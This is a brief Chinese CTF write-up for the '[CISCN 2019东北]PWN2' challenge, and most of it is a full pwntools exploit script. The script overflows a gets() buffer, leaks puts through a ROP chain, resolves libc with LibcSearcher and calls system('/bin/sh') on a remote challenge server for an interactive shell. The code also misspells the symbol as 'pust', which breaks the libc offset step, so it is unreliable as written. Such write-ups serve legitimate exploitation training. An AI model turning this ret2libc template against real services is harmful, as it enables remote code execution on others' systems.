[CISCN 2019东北]PWN2
发现文件是64位
查看main函数,发现这道题有encrypt(),encrypto 功能会对输入的数进行修改
在这里我们发现gets危险函数
得到本题的ret和rdi
发现这道题是没有binsh和system的,我们就用ret2libc来做
exp:
from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#io = process('/home/xp/tm/bin/f')
io = remote('node5.anna.nssctf.cn','21985')
elf = ELF('/home/xp/tm/bin/f')
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main = elf.sym['main']
padding = b'a'*(0x50+0x8)
ret = 0x4006b9
rdi = 0x400c83
io.recvuntil(b'choice!')
io.sendline(str(1))
payload = padding + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
io.sendline(payload)
put=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(put))
libc = LibcSearcher('puts',put)
base = put - libc.dump('pust')
sys = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')
payload1 = padding + p64(ret) + p64(rdi) + p64(binsh) + p64(sys)
io.sendline(payload1)
io.interactive()